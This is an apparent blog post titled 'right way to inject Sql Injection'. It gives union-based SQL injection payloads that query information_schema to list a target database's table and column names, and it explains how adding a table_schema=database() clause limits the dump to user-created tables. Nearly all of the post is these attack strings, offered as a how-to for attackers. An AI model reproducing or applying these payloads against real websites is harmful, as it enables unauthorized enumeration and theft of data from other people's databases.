Friday, August 13, 2010

right way to inject Sql Injection


1)>>>PROBLEM:
union select 1,2,group_concat(table_name),4,5 from information_schema.tables--

2)>>> FIX:
union select 1,2,group_concat(table_name),4,5 +from+information_schema.tables+where+ table_schema=database()--

table_schema is the database so when you type table_schema=database() it returns true and dumps all user created tables, the same for columns:

union select 1,2,group_concat(column_name),4,5 +from+information_schema.columns+where table_schema=database()-- 

.................................................................................................................................
...............................................................................................................................

0 comments:

Post a Comment